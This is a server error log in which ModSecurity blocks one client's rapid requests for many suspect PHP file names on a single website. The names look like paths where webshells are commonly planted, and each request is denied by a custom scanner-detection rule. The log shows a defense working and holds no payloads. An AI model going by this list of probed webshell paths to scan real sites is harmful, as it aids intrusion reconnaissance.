[Sat Apr 11 04:16:30.541051 2026] [:error] [pid 33288:tid 33312] [client 4.245.205.135:21545] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hanyatersenyum.php"] [unique_id "adlanmJmwJFFPEgRHfHNpwAAANY"]
[Sat Apr 11 04:16:31.239831 2026] [:error] [pid 33171:tid 33203] [client 4.245.205.135:17116] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlan7oqTMlo30hcVw8lcAAAABE"]
[Sat Apr 11 04:16:31.982167 2026] [:error] [pid 33288:tid 33290] [client 4.245.205.135:21537] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlan2JmwJFFPEgRHfHNrQAAAMA"]
[Sat Apr 11 04:16:32.815546 2026] [:error] [pid 33173:tid 33246] [client 4.245.205.135:25773] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlaoK8109xRDP2izWiISAAAAIE"]
[Sat Apr 11 04:16:33.530157 2026] [:error] [pid 33172:tid 33226] [client 4.245.205.135:25791] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlaoTn2G0IJw5EZY9n8agAAAEg"]
[Sat Apr 11 04:16:34.338664 2026] [:error] [pid 33171:tid 33207] [client 4.245.205.135:21132] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upll22.php"] [unique_id "adlaoroqTMlo30hcVw8lcwAAABU"]
[Sat Apr 11 04:16:35.103400 2026] [:error] [pid 33288:tid 33296] [client 4.245.205.135:21543] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upll22.php"] [unique_id "adlao2JmwJFFPEgRHfHNvgAAAMY"]
[Sat Apr 11 04:16:35.823953 2026] [:error] [pid 33171:tid 33203] [client 4.245.205.135:14285] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upll22.php"] [unique_id "adlao7oqTMlo30hcVw8legAAABE"]
[Sat Apr 11 04:16:36.803846 2026] [:error] [pid 33173:tid 33254] [client 4.245.205.135:14321] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upll22.php"] [unique_id "adlapK8109xRDP2izWiITwAAAIk"]
[Sat Apr 11 04:16:37.505843 2026] [:error] [pid 33288:tid 33292] [client 4.245.205.135:27335] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "adlapWJmwJFFPEgRHfHNyQAAAMI"]
[Sat Apr 11 04:16:54.681762 2026] [:error] [pid 33172:tid 33225] [client 4.245.205.135:21562] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "adlatjn2G0IJw5EZY9n8ngAAAEc"]
[Sat Apr 11 04:16:59.894538 2026] [:error] [pid 33172:tid 33219] [client 4.245.205.135:21555] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "adlauzn2G0IJw5EZY9n8qAAAAEE"]
[Sat Apr 11 04:17:01.259890 2026] [:error] [pid 33171:tid 33189] [client 4.245.205.135:14302] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "adlavboqTMlo30hcVw8luAAAAAM"]
[Sat Apr 11 04:17:02.223681 2026] [:error] [pid 33172:tid 33231] [client 4.245.205.135:17838] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "adlavjn2G0IJw5EZY9n8rgAAAE0"]
[Sat Apr 11 04:17:03.397170 2026] [:error] [pid 33173:tid 33255] [client 4.245.205.135:43562] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX2.php"] [unique_id "adlav68109xRDP2izWiIgwAAAIo"]
[Sat Apr 11 04:17:04.038868 2026] [:error] [pid 33173:tid 33259] [client 4.245.205.135:43550] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX2.php"] [unique_id "adlawK8109xRDP2izWiIhgAAAI4"]
[Sat Apr 11 04:17:04.870525 2026] [:error] [pid 33288:tid 33303] [client 4.245.205.135:21144] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX2.php"] [unique_id "adlawGJmwJFFPEgRHfHOKQAAAM0"]
[Sat Apr 11 04:17:05.602892 2026] [:error] [pid 33288:tid 33313] [client 4.245.205.135:47994] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX2.php"] [unique_id "adlawWJmwJFFPEgRHfHOLQAAANc"]
[Sat Apr 11 04:17:06.252847 2026] [:error] [pid 33173:tid 33253] [client 4.245.205.135:17638] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adlawq8109xRDP2izWiIiwAAAIg"]
[Sat Apr 11 04:17:07.048689 2026] [:error] [pid 33288:tid 33297] [client 4.245.205.135:13954] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adlaw2JmwJFFPEgRHfHONwAAAMc"]
[Sat Apr 11 04:17:07.642076 2026] [:error] [pid 33173:tid 33269] [client 4.245.205.135:54198] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adlaw68109xRDP2izWiIkAAAAJg"]
[Sat Apr 11 04:17:08.433570 2026] [:error] [pid 33288:tid 33308] [client 4.245.205.135:21157] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "adlaxGJmwJFFPEgRHfHOPgAAANI"]
[Sat Apr 11 04:17:09.128919 2026] [:error] [pid 33288:tid 33298] [client 4.245.205.135:54190] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "adlaxWJmwJFFPEgRHfHORAAAAMg"]
[Sat Apr 11 04:17:09.729316 2026] [:error] [pid 33288:tid 33307] [client 4.245.205.135:20862] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "adlaxWJmwJFFPEgRHfHOTQAAANE"]
[Sat Apr 11 04:17:10.612138 2026] [:error] [pid 33173:tid 33259] [client 4.245.205.135:47988] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "adlaxq8109xRDP2izWiImwAAAI4"]
[Sat Apr 11 04:17:11.303544 2026] [:error] [pid 33173:tid 33253] [client 4.245.205.135:14010] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "adlax68109xRDP2izWiInwAAAIg"]
[Sat Apr 11 04:17:11.892344 2026] [:error] [pid 33173:tid 33261] [client 4.245.205.135:17814] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "adlax68109xRDP2izWiIogAAAJA"]
[Sat Apr 11 04:17:12.697601 2026] [:error] [pid 33173:tid 33251] [client 4.245.205.135:30022] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "adlayK8109xRDP2izWiIpAAAAIY"]
[Sat Apr 11 04:17:13.281159 2026] [:error] [pid 33171:tid 33210] [client 4.245.205.135:30078] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "adlayboqTMlo30hcVw8lwwAAABg"]
[Sat Apr 11 04:17:13.997793 2026] [:error] [pid 33173:tid 33268] [client 4.245.205.135:21123] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "adlaya8109xRDP2izWiIpwAAAJc"]
[Sat Apr 11 04:17:14.961099 2026] [:error] [pid 33171:tid 33201] [client 4.245.205.135:2986] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "adlayroqTMlo30hcVw8lyAAAAA8"]
[Sat Apr 11 04:17:15.952111 2026] [:error] [pid 33173:tid 33251] [client 4.245.205.135:19221] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "adlay68109xRDP2izWiIrAAAAIY"]
[Sat Apr 11 04:17:16.726548 2026] [:error] [pid 33172:tid 33234] [client 4.245.205.135:15267] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "adlazDn2G0IJw5EZY9n80gAAAFA"]
[Sat Apr 11 04:17:17.398047 2026] [:error] [pid 33172:tid 33227] [client 4.245.205.135:19233] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/motu.php"] [unique_id "adlazTn2G0IJw5EZY9n81wAAAEk"]
[Sat Apr 11 04:17:18.136251 2026] [:error] [pid 33173:tid 33256] [client 4.245.205.135:2944] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "adlazq8109xRDP2izWiIuAAAAIs"]
[Sat Apr 11 04:17:18.895139 2026] [:error] [pid 33171:tid 33195] [client 4.245.205.135:19604] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "adlazroqTMlo30hcVw8l0QAAAAk"]
[Sat Apr 11 04:17:19.640810 2026] [:error] [pid 33173:tid 33267] [client 4.245.205.135:15037] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "adlaz68109xRDP2izWiIwgAAAJY"]
[Sat Apr 11 04:17:20.208116 2026] [:error] [pid 33173:tid 33266] [client 4.245.205.135:24269] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/amax.php"] [unique_id "adla0K8109xRDP2izWiIyAAAAJU"]
[Sat Apr 11 04:17:20.892687 2026] [:error] [pid 33172:tid 33225] [client 4.245.205.135:17658] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adla0Dn2G0IJw5EZY9n82wAAAEc"]
[Sat Apr 11 04:17:21.703684 2026] [:error] [pid 33172:tid 33240] [client 4.245.205.135:15242] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adla0Tn2G0IJw5EZY9n83gAAAFY"]
[Sat Apr 11 04:17:22.467592 2026] [:error] [pid 33172:tid 33229] [client 4.245.205.135:55252] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adla0jn2G0IJw5EZY9n84QAAAEs"]
[Sat Apr 11 04:17:23.127000 2026] [:error] [pid 33171:tid 33208] [client 4.245.205.135:47956] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adla07oqTMlo30hcVw8l1gAAABY"]
[Sat Apr 11 04:17:23.842567 2026] [:error] [pid 33172:tid 33235] [client 4.245.205.135:24998] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "adla0zn2G0IJw5EZY9n85gAAAFE"]
[Sat Apr 11 04:17:24.514563 2026] [:error] [pid 33288:tid 33290] [client 4.245.205.135:55254] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "adla1GJmwJFFPEgRHfHObwAAAMA"]
[Sat Apr 11 04:17:25.345349 2026] [:error] [pid 33288:tid 33296] [client 4.245.205.135:34611] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "adla1WJmwJFFPEgRHfHOcgAAAMY"]
[Sat Apr 11 04:17:25.869969 2026] [:error] [pid 33172:tid 33237] [client 4.245.205.135:2442] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "adla1Tn2G0IJw5EZY9n86gAAAFM"]
[Sat Apr 11 04:17:26.460493 2026] [:error] [pid 33288:tid 33309] [client 4.245.205.135:18083] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adla1mJmwJFFPEgRHfHOfQAAANM"]
[Sat Apr 11 04:17:27.159899 2026] [:error] [pid 33172:tid 33239] [client 4.245.205.135:25011] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adla1zn2G0IJw5EZY9n86wAAAFU"]
[Sat Apr 11 04:17:28.009623 2026] [:error] [pid 33173:tid 33245] [client 4.245.205.135:2566] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adla2K8109xRDP2izWiI1gAAAIA"]
[Sat Apr 11 04:17:28.580683 2026] [:error] [pid 33173:tid 33259] [client 4.245.205.135:16262] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "adla2K8109xRDP2izWiI2AAAAI4"]
[Sat Apr 11 04:17:29.242625 2026] [:error] [pid 33288:tid 33309] [client 4.245.205.135:17603] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "adla2WJmwJFFPEgRHfHOhAAAANM"]
[Sat Apr 11 04:17:29.955317 2026] [:error] [pid 33173:tid 33257] [client 4.245.205.135:14998] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "adla2a8109xRDP2izWiI3QAAAIw"]
[Sat Apr 11 04:17:30.704764 2026] [:error] [pid 33171:tid 33210] [client 4.245.205.135:25020] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "adla2roqTMlo30hcVw8l5AAAABg"]
[Sat Apr 11 04:17:31.358778 2026] [:error] [pid 33171:tid 33189] [client 4.245.205.135:32098] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "adla27oqTMlo30hcVw8l6wAAAAM"]
[Sat Apr 11 04:17:32.510179 2026] [:error] [pid 33171:tid 33200] [client 4.245.205.135:43537] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "adla3LoqTMlo30hcVw8l7gAAAA4"]
[Sat Apr 11 04:17:33.287453 2026] [:error] [pid 33172:tid 33240] [client 4.245.205.135:16262] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "adla3Tn2G0IJw5EZY9n8_AAAAFY"]
